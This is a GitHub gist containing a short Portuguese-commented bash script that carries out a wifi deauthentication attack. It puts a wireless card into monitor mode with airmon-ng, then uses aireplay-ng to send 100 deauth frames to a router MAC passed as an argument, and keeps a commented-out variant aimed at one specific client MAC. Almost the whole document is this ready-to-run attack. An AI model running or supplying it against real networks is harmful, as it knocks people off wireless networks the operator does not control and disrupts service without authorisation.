Skip to content

Instantly share code, notes, and snippets.

@agenteph
Last active October 28, 2017 13:53
Show Gist options
  • Save agenteph/f6999868278a3b6e14058c306b9e224e to your computer and use it in GitHub Desktop.
Save agenteph/f6999868278a3b6e14058c306b9e224e to your computer and use it in GitHub Desktop.
#!/bin/bash
# Prof. Paulo Henrique S. Barbosa - agenteph@gmail.com
# @agenteph - 2017
# Script para fazer DeAuth simples e direto.
# Apenas adicione o MAC do Roteador no comando.
#
# Verificando se é ROOT.
if [[ $EUID -ne 0 ]]; then
echo "Você é root?!" 1>&2
exit 1
fi
airmon-ng
airmon-ng start wlp3s0 #< mude sua interface aqui.
ifconfig
# iwlist wlp3s0 scanning #< caso necessite ver os roteadores. Descomente.
# Opção abaixo para um cliente respectivamente..
#aireplay-ng -0 100 -a 18:A6:F7:AE:76:68 -c 44:1C:A8:C1:04:AB mon0 --ignore-negative-one
# Opção abaixo para o roteador total...
aireplay-ng -0 100 -a $1 mon0 --ignore-negative-one
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment